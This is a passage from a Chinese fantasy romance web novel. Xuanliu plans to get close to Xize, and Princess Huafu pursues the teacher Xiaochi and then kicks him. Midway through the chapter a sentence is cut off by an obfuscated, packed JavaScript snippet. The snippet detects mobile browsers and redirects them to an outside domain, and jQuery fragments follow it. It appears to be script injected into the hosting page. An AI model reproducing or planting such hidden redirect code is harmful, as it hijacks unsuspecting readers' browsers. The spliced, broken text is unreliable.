暮鸢的担心不无道理,俗话说的好:人生在世,贵在自知。玄琉在客观的审视了一下自身的能力,顺带考虑了一下脱离暮鸢独自行动的成功几率之后,得出了一个令她心碎的结论,她恐怕真是连栖霞宫的大门都进不去!
不!想必连那威风凛凛的院墙她也是不必肖想能攀得上的!
但好在俗话又说的好:只要功夫深,铁杵磨成针!很快,玄琉又想到了新的办法,那便是---若她能设法接近曦泽,取得他的信任,打入栖霞宫的内部,又何愁打探不到琼枝雪玉的下落?
脑海中浮现出曦泽那生人勿近,活物勿扰的死人脸模样,玄琉不禁泛起了愁。这样寒凉冷冽的冰锥子,如何才能接近他呢?
“若想要接近一个人,很简单呀!”蘅清羽扇一甩,对玄琉一脸高深莫测地说道:“那必然要先了解他的喜好,制造不经意的相遇,展现自己不同于常人的品性,产生不可避免的牵绊,激发其不可抑制的情愫,逐步走向不顾章程,不照日子过的癫狂人生!”
……
玄琉沉默了半晌,由衷赞叹:“你这口才,不去说个书倒是可惜了!”
蘅清羽扇摇摆,扇着清风道:“说书什么的,本太子是没太大兴趣的!但要是本太子出手,那不得写个情绝三界,断肠催心肝的话本子?从此畅销三界,博一众女仙女魔梨花带雨,涕泪求更,那才算真正的成功呀!”
玄琉拱手道:“兄台志向高远!佩服!佩服!”
蘅清眼梢一勾,脑门上的大明珠子忽而照着她道:“你这么一说,我看眼前这题材就不错呀!”他面上做出一副期期艾艾的模样,羽扇遥遥一指:“她!本是不谙世事的乖巧梅花精,他!本是天界冷性绝情的司战神君,一次偶然的相遇,天雷地火间,涌现出一场叹绝旷世的爱恋!这一切的一切,究竟是月老的错牵还是命运的使然?敬请关注名震三界的虐恋纯爱大戏,小梅花与她的神仙冷面小郎君!”
玄琉一脸无语,指着他道:“什么不谙世事?什么命运使然?你简直是胡说八道!胡言乱语!胡乱攀咬!”
“你不喜欢这个名字?那《豪门神君的霸道小娇妻》?《俏妖精的追夫之路之我要你要爱上我》?要不《天赐良缘之跨越三界的爱恋》也不错!
“停!停!停!”玄琉手掌推在他面前,“你脑子里成天都在想些什么?我只是问一下如何接近一个人,你……莫要把我和曦泽联系到一起!”
“你来找我问这一堆问题,不就是为了接近曦泽神君吗?你不必觉得不好意思,毕竟曦泽神君之品貌风华,放眼整个三界,何人能出其右?”蘅清执扇捂着唇,笑道一脸不可描述。
“我……我是因为……
“哦!我知道了!?”
不等她话说完,蘅清便惊叫一声。玄琉给他吓了一跳,“你又知道什么了?”
却见蘅清瞪大眼瞅着自己道:“莫非你想接近的另有他人?看不出来呀玄琉,你这才上天庭没几天,这……行情如此之好?”
玄琉翻着白眼,指着他气得话都说不出来。蘅清又继续唠唠叨叨恨铁不成钢道:“不是我说你呀玄琉,这做神仙呢和人是一样的,不求你从一而终,但三心二意,见色忘义可是断断不行的呀!”
玄琉捂着眼咬牙道:“不会用成语就不要用!就算你不信我也要告诉你,我想接近曦泽神君,并非是对他生了什么男女之情!”
蘅清笑道:“那是什么?
玄琉无奈地抬抬手道:“琼枝雪玉!你懂的!”
闻言,蘅清便沉默了下来。须臾,忽而一拍桌子,继续道:“你看!我怎么说来着!不可避免的牵绊,这不就来了吗这不是!”
玄琉忍住想要敲暴他的牙的冲动,怒气冲冲地站起身就走。
蘅清在她身后大声笑道:“别恼呀!何必那么费劲?你若真想要了解他的话,他那青面獠牙的表妹不就是现成的问话人选?”
一语惊醒梦中人,对呀,若论及对曦泽的了解,她身边与之最熟悉亲近的,可不就是华茯郡主吗?
思及此处,玄琉忙从怀里拿出传音铃,找了个僻静角落,低头凝神默念了两声:“华茯!华茯!”
那边很快传来个甜糯轻柔的声音,道:“你为什么不教人家?人家也不会这些术法口令,人家也需要仙师教……”
这声音……玄琉一脸错愕,莫非是念错口令了?遂闭上眼,凝神又默念了一遍华茯的传音口令,再次轻声道:“华茯?”
这次,对面传来一男子的声音:“这些法术你不是三百年前就会了吗?授课期间,休要胡搅蛮缠!”
言辞虽有责备,但那男子语调却并不真正狠厉,反而带着一股子不堪其扰的无奈挫败。
这声音,玄琉听着不由有些耳熟。
“我……”那厢,甜腻软绵的声音被噎了一瞬,很快又道:“人家又忘了嘛!自然要从头学起呀!”
玄琉可以肯定,这声音别说是华茯了,就连华茯素日最看不上的葵辛公主,嗓音也是断断不会有这种嗲到人起一身鸡皮疙瘩的地步!
怎么回事?玄琉一脸问号,莫非华茯的口令被盗了?可按理说仙者口令独一无二,应当不会有此纰漏呀?
“华茯郡主,你这样捏着嗓子说话累吗?我还要忙,请莫要一直拉着我!还有,你的传音铃已响了很久,许是他人找你有急事。还请快些松手……”
玄琉此刻的下巴,全然是已惊掉在了地上!她忽然想了起来,这熟悉的声音,可不正是教授木系仙术的仙师萧池仙君吗?
因玄琉精力有限,一直未曾选修他的课程。但华茯从入参学境以来,最令她翘首以盼的便是这萧池仙君的木系仙术,是以早早便报了名,此刻莫非还在修习时间?那她岂不是很没眼色且极不凑巧地打扰了华茯?
她清清嗓子,正准备向华茯做个深刻的自我检讨,那厢她已激动地恢复原声抢先说道:“玄琉,听到了吗?是萧池,萧池呀!怎么样?声音是不是极有磁性极好听?是不是听的你心都融化了?”
玄琉嘴角抽了抽,道:“不,我听了你的声音,才真是吓得心都要融化了!”
“什么嘛!人家说话不是一直这样的嘛?你做什么不晓得?你且说说,你那么急找人家是做什么嘛?”
华茯捏着嗓子娇滴滴地说道。玄琉脑门青筋突突直跳,眼前甚至可以浮现出她在铃铛那头儿是如何扭着身子捏着裙角一脸娇羞无限的惊悚画面。
玄琉道:“这个,我……我本是想找你询问些私事,不是什么打紧的急事,你既在修学,还是待回寝阁再说与你详说吧。”
华茯却道:“别呀,你这样一说我倒是好奇是何事了呢?”
玄琉干笑道:“不过是些小事,小事……”
华茯嘿嘿笑道:“跟我还卖关子呢?我这边就快结束了,不如你就直接过来找我吧……萧池过来了,先不给你聊了,我等你哦!”
玄琉还待再言,那厢已然再听不见任何声音。
玄琉在原地踌躇了片刻,依言缓缓向萧池仙君授课的校场行去。
这不去不知道,一去才真是吓一跳。却说玄琉方行至校场,远远便见着华茯一身红衣扭似麻花,正五花大绑地攀在某个面容俊逸的仙君身上。这仙君,不肖说,那必然便是菡荥君萧池了。
此刻的萧池仙君正眉头紧皱,面色微愠。他一边奋力将华茯从自己身上扒拉下来,一边低斥道:“大庭广众,拉拉扯扯!成何体统!你快给我下来!”
奈何华茯却是粘在他身上一动不动。只做出一副西子捧心的哀怨模样,状似惊讶地道:“哎呀!这个长生根,见着仙法充盈者便总想着吸到别人身上。这当口,它准是又犯病了!菡荥君千万莫恼,请相信!此情此景实非我愿,实在是它全然不受我控制呀!”
萧池心道:我信你才有鬼!
他面带薄怒,额角亦是冷汗涔涔:“什么长生根……我主修木系仙术却听都未听过,定是你……信口胡诌!”
华茯微微抬腕,将自己手上套着的一灰褐色圆镯指给他看。此刻那圆镯早已放大数倍,她又来回做了几个拉拽的动作。那圆镯却依旧纹丝不动地黏在曦泽肩上,华茯不由道:“你瞧,我没骗你吧?你身为仙君,坐井观天,还是见识太少了!”
萧池闭了闭眼,奋力挣扎想要推开华茯,又怕施法太过误伤了她。投鼠忌器间不由有些气急道:“你没事为什么要在身上带着这些奇怪的东西!”
华茯嘟着樱唇小声道:“当然是为了滋养气海呀!长生根可是最好的滋补神木!不过平时它很高傲的,见了谁都不睬一下。我哪知道原来你不但招人喜欢,还招神木的喜欢呢?”
萧池:“你……”
她迅速朝他吐了吐舌头,又道:“这还不都是怪你!谁让你生的模样太好看?太招人了?”
萧池心道:敢情还都是我得错了?
二人纠缠间,四面学子也没有闲着。一众学子虽迫于萧池的威严状似全不在意二人的拉拉扯扯,背地里互相间却早已眉眼飞舞,唇角涌动。时不时不知从那个角落里还传来几声响亮的口哨声,直燥得萧池耳边微微发烫。
偏偏背上的人还笑看着他,明知故问道:“萧池!你耳朵怎么红了呀?是有些热吗?”
萧池面色愠怒,道:“你到底想干什么?”
华茯道:“我想……”
她笑盈盈地看着他,极其胆大道:“我想让你成为我的人!”
伴随着她的话,立时又有几声响彻云霄的口哨从角落传来。一众弟子终于忍不住,纷纷:“哇!”地惊叹出声,语调意味深长,周边笑意涌动。
“做梦!”
“哟,哟,别恼呀。”身下的人似是下了决心,想用仙法将她摔下身去。华茯连忙紧紧抓住他的衣角,小声道:“好吧,我承认,是因为方才你教了那些个女弟子仙术却不教我,我有些生气了而已。”
“郡主!”萧池此刻的声音才真正冷了下来:“那些仙法你早已学会,且别说是那些简单术法,想必就连我教授的其他木系法术,你也早已修
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16084306|179500||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
学完毕。”
他看着她,目光有些严厉道:“您何必浪费自己的时间?此举既轻贱了你自己,也轻视了我。”
华茯急道:“谁轻视你了,你明知道我巴巴地过来是为了什么,你装什么糊涂?”
萧池面无表情道:“我并没有装糊涂。您是曦泽神君之妹,蓬莱仙岛少主。千金之躯,身份贵重。还望您能自持身份,莫要再胡言乱语,也莫在做这些轻狂之举徒惹众议,使老君王面上蒙羞。”
华茯面上有些不悦,只道:“别说这些冠冕之词,你且说你是碍于我得身份,还是真正讨厌了我?觉得我烦?”
萧池看了看她,垂首沉默了许久,才缓缓道:“恕本仙直言,郡主所举,确惹人不喜!”
华茯不依不饶道:“我惹人不喜?那谁招你喜欢?葵辛吗?我看你整日跟她眉来眼去的,她喜欢的是我哥你不知道吗?”
萧池低斥:“郡主慎言!”
他声音渐冷,面带寒霜道:“葵辛公主品格贵重,进退有矩。我二人之间,更是清清白白,从无逾越之举,还望郡主注意言辞,莫扰他人清誉!”
华茯气极反笑:“你现在满口的夸赞之词,不就是说她比我强?”
萧池敛眉拢袖道:“人生在世,过好自己便是,何必总与他人相比?郡主活了这么许久,不曾看问题依旧极不通透。”
华茯不答,只盯着他道:“行,那你告诉我,让我通透通透,你心里是否觉得她比我更好?”
这是一道送命之题,然萧池被她缠了许久,深知华茯是打破砂锅问到底的执拗性子,心道索性一次直接让她死心也好。
便面无表情地道:“公主温良持重,自是比郡主更胜一筹……”
闻言,肩上的人沉默了下来,盯着他,半晌未在言语。
萧池心头微微一沉,颇有些懊悔自己方才的话语是否有些太过。
却见那长生根却猛地脱离了萧池的臂膀,连带着华茯也落下身来,只定定看着他,道:“好!”
言罢,她迅速向前走去。方走了两步,她却又回过身子快步走近萧池。接着,另一众人惊掉下巴的一幕发生了。
只见华茯抬起脚,蕴起仙力,徒然向萧池膝盖狠狠一踹!
萧池全然没有防备,这一揣出手又是极为迅速,直揣地他身形不稳,捂着膝盖猛地退后两步!
“大胆!”萧池身后不远处,一直随行伺候的两个仙使忙上前斥道。
华茯却猛地又是一脚,有些气急败坏地踹着萧池道:“什么天界仙君,从前信誓旦旦,最后不还是因我父君一句话便变了样吗?”
她怒意汹汹地说道:“你以为你说了这些难听话我就会知难而退,再不来找你是吧?告诉你!本郡主可是属石头的!又臭又硬!认准的事八匹马也别想让我拉回来!”
见她歇斯底里,那两个仙使不由想要上前抓她。一旁萧池却是轻轻摆了两下手,挥退了他们。只淡淡看着华茯,依旧是一言不发。
华茯见他虽护着她却还是一副决心与她拉开距离的模样。气得心头微微发酸。忽而大声道:“萧池!我问你,你是否是我蓬莱仙岛出来的人?”
众人皆知,菡荥君萧池,飞升于蓬莱叠翠岛。而作为蓬莱少主的华茯所言,想必与萧池仙君是早有渊源……
如此一想,那二外仙使不约而同互望一眼,皆是悔得肠子发青。失策!失策!这不是大水冲了龙王庙嘛!忙齐齐往后退地更远。
萧池也是微微一怔,随即道:“郡主所言不假。”
华茯点点头:“好!那我作为蓬莱岛少主,你是否须听命与我!”
众弟子起初只是聚着一起看热闹,但越看越觉得这华茯郡主着实跋扈,加之她竟大胆到脚踢授课仙师,一时不忿便初生牛犊不怕虎地嚷嚷道:“笑话!萧池仙君早已飞升脱离你蓬莱岛,为何还要听命与你?”
萧池却一脸沉肃道:“今日郡主若是想以少主之名下令。不论是何事,萧池必肝脑涂地,不遗余力。”
“好”华茯怒目看着他,字正腔圆道:“那我就命你……给我站在这儿!”
闻言,萧池不由一愣。须臾,才深吸了口气,叹道:“那敢问少主,预备让我站到何时?”
华茯走近他两步,抬起头,极为挑衅地说道:“站一宿!”
萧池眼皮都没眨一下,道:“好。”
华茯气得百爪挠心,这人就是这样,任你如何挥拳如铁,最后都是一拳打到棉花上一般,云淡风轻,拿他全无办法。
华茯阴侧侧地咬着牙,一字一句骂道:“死脑筋!榆木疙瘩!愣头青!……你等着吧!终有一日,你会哭着求我不要离开!”
萧池状如木头,站地笔直。声音也不带一丝起伏:“那郡主怕是要失望了。”
华茯很恨道:“一定会有那么一天的!”
言罢便头也不回,气势汹汹地走出了校场。
而她不知道的是。在他身后,一束目光却一直追随着她的背影,直至她再也不见。